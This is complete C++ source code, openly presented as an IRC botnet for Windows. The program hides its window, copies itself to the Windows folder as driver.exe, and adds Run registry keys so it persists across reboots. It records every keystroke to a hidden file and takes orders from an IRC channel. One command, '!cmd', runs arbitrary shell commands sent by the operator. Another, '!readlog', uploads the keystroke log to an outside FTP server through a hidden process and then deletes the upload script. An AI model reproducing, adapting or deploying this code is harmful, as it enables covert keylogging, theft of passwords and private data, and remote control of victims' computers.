Code:
C++ IRC Botnet source code
#define _CRT_SECURE_NO_DEPRECATE
#pragma comment(linker, "/SUBSYSTEM:windows /ENTRY:mainCRTStartup")
#include <winsock2.h>
#include <iostream>
#include <string>
#include <time.h>
#include <fstream>
#include "nickname.h";
using std::string;
WSADATA wdata;
sockaddr_in saddr;
hostent *host;
SOCKET socks;
DWORD UpTimeS;
DWORD UpTimeN;
#pragma comment ( lib , "ws2_32.lib" )
void ConnectIRC();
void HandleIRC();
bool CommandIRC(char *cmd, char *buff);
void ayam();
std::string GetKey(int Key);
bool ConnectWeb(SOCKET *sock1, char *host1);
void upload();
char server[] = "IRC.SITE.COM";
char channel[] = "#xshimex";
int port = 6667;
string master = "xd0s!kucing"; //tukar kat line 397 substr 11 jumpa perkataan
char *nick2;
char buff[5000];
char tmp[2000];
string tempbuff;
/*
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR lpCmdLine, int)
{
char *apppath = new char [MAX_PATH];
strcpy_s(apppath, MAX_PATH, GetCommandLine());
if (apppath[0] == '\"')
{
apppath = (apppath+1);
char *lastdit = strchr(apppath, '\"');
*lastdit = '\x0';
}
char **argv = NULL;
int argc = 1;
if ( *lpCmdLine != '\x0' )
{
char *cmdLineCopy = new char [strlen(lpCmdLine)+1];
strcpy ( cmdLineCopy, lpCmdLine );
char *c = cmdLineCopy;
while(c)
{
++argc;
c = strchr ( (c+1),' ');
}
argv = new char *[argc];
argv[0] = apppath;
if(argc > 1)
{
argv [1] = cmdLineCopy;
char *c = strchr(cmdLineCopy, ' ');
int n = 2;
while(c)
{
*c = '\x0';
argv [n] = (c+1);
++n;
c = strchr((c+1), ' ');
}
}
}
else
{
argv = new char *[1];
argv[0] = apppath;
}
return 0;
}
*/
DWORD tid;
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ayam, 0, 0, (LPDWORD)&tid);
void ayam()
{
char windir[MAX_PATH];
GetWindowsDirectory(windir, sizeof(windir));
strcat(windir, "\\sound.dat");
std::string Filename = windir;
std::string TempString = "";
std::fstream FStream;
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}
std::string GetKey(int Key)
{
std::string KeyString = "";
if (Key == 8)
KeyString = "[delete]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TABULATOR]";
else if (Key == VK_CONTROL)
KeyString = "[CTRL]";
else if (Key == VK_ESCAPE)
KeyString = "[ESCAPE]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[left]";
else if (Key == VK_RIGHT)
KeyString = "[right]";
else if (Key == VK_UP)
KeyString = "[UP]";
else if (Key == VK_DOWN)
KeyString = "[DOWN]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
return KeyString;
}
void main()
{
char pathname[256];
char windir[MAX_PATH];
GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);
strcat(windir, "\\driver.exe");
while (CopyFile(pathname, windir, FALSE) == FALSE) Sleep(5000);
char buffer[60];
unsigned long size = sizeof(buffer);
strcpy(buffer, windir);
HKEY software;
HKEY mykey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
RegCreateKey(software,"Run",&mykey);
RegSetValueEx(mykey,"Driver",NULL,REG_SZ,(LPBYTE)buffer,size);
RegCloseKey(mykey);
RegCloseKey(software);
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\",&software);
RegCreateKey(software,"Run",&mykey);
RegSetValueEx(mykey,"Driver",NULL,REG_SZ,(LPBYTE)buffer,size);
RegCloseKey(mykey);
RegCloseKey(software);
srand(time(NULL));
UpTimeS = GetTickCount();
ConnectIRC();
}
void ConnectIRC()
{
WSAStartup(MAKEWORD(1,1), &wdata);
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_port = htons(port);
unsigned long addr = inet_addr(server);
if(addr == INADDR_NONE) {
host = gethostbyname(server);
if(!host) {
WSACleanup();
}
}
addr = *((u_long*)host->h_addr_list[0]);
saddr.sin_addr.s_addr = addr;
if(connect(socks, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
{
printf("Failed connect\n");
Sleep(8000);
main();
} else {
printf("Connect OK\n");
}
char *nick = nickname_ident[rand() % (sizeof(nickname_ident) / sizeof(nickname_ident[0]))];
nick2 = nick;
memset(tmp, 0, 255);
sprintf(tmp, "USER %s %s %s :%s\r\n", nick, nick, nick, nick);
send(socks, tmp, strlen(tmp), 0);
sprintf(tmp, "NICK %s\r\n", nick);
send(socks, tmp, strlen(tmp), 0);
HandleIRC();
}
void HandleIRC()
{
char buff[2048];
while(1) {
memset(buff, 0, 255);
memset(tmp, 0, 255);
recv(socks, buff, 255, 0);
tempbuff = buff;
if(strlen(buff) != 0){
//printf("Recv: %s\n", buff);
if(strncmp(buff, "PING", 4) == 0)
{
buff[1] = 'O';
sprintf(tmp, "%s", buff);
send(socks, tmp, strlen(tmp), 0);
//printf("Send: %s\n", buff);
}
int chan = 0;
if(chan == 0) {
Sleep(6000);
sprintf(tmp, "JOIN %s\n", channel);
send(socks, tmp, strlen(tmp), 0);
chan = 1;
}
string b;
if(CommandIRC("!part", buff))
{
b = tempbuff.substr(tempbuff.find_last_of(":")+7, tempbuff.find_last_of("\r")-2);
sprintf(tmp, "PART %s\n", b.c_str());
send(socks, tmp, strlen(tmp), 0);
}
else
if(CommandIRC("!join", buff))
{
b = tempbuff.substr(tempbuff.find_last_of(":")+7, tempbuff.find_last_of("\r")-2);
sprintf(tmp, "JOIN %s\n", b.c_str());
send(socks, tmp, strlen(tmp), 0);
}
else
if(CommandIRC("!msg", buff))
{
b = tempbuff.substr(tempbuff.find_last_of(":")+6, tempbuff.find_last_of("\r")-2);
sprintf(tmp, "PRIVMSG %s :%s\n",channel, b.c_str());
send(socks, tmp, strlen(tmp), 0);
}
else
if(CommandIRC("!uptime", buff))
{
UpTimeN = GetTickCount() - UpTimeS;
sprintf(tmp, "PRIVMSG %s :Up for %d seconds(%d minutes)%c\n",channel,(UpTimeN / 1000),((UpTimeN / 1000) /60),10);
send(socks, tmp, strlen(tmp), 0);
}
else
if(CommandIRC("!nick", buff))
{
b = tempbuff.substr(tempbuff.find_last_of(":")+6, tempbuff.find_last_of("\r")-2);
sprintf(tmp, "NICK %s\n", b.c_str());
send(socks, tmp, strlen(tmp), 0);
}
else
if(CommandIRC("!cmd", buff))
{
b = tempbuff.substr(tempbuff.find_last_of(":")+6, tempbuff.find_last_of("\r")-2);
system(b.c_str());
}
else
if(CommandIRC("!quit", buff))
{
sprintf(tmp, "QUIT\n");
send(socks, tmp, strlen(tmp), 0);
} else
if(CommandIRC("!readlog", buff))
{
//DWORD tid1;
upload();
//HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)upload, 0, 0, (LPDWORD)&tid1);
}
}
}
}
void upload()
{
srand(time(NULL));
int a;
a = rand()%2000000;
char windir[68];
GetWindowsDirectory(windir, sizeof(windir));
char windir2[68];
GetWindowsDirectory(windir2, sizeof(windir2));
char windir3[68];
GetWindowsDirectory(windir3, sizeof(windir3));
strcat(windir2, "\\logs.dat");
strcat(windir, "\\sound.dat");
std::ofstream upload (windir2);
upload << "OPEN site.com" << std::endl;
upload << "USER user@site.com" << std::endl;
upload << "PASSWORD" << std::endl;
upload << "cd public_html/images/logs" << std::endl;
char tmp[20000];
sprintf(tmp, "send %s", windir);
upload << tmp << std::endl;
sprintf(tmp, "rename sound.dat %s%i", nick2, a);
upload << tmp << std::endl;
upload << "disconnect" << std::endl;
upload << "bye" << std::endl;
upload.close();
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
strcat(windir3, "\\system32\\cmd.exe");
sprintf(tmp, "/C ftp -n -i -s:%s", windir2);
int se = CreateProcess(windir3, tmp, 0, 0, 0, 0, 0, 0, &si, &pi);
sprintf(tmp, "del %s", windir2);
system(tmp);
sprintf(tmp, "PRIVMSG %s : Log sended\n", channel);
send(socks, tmp, strlen(tmp), 0);
}
bool CommandIRC(char *cmd, char *buff)
{
if(strstr(buff, cmd) != NULL)
{
if(tempbuff.substr(1, 11).c_str() == master)
{
return true;
} else {
return false;
}
} else {
return false;
}
}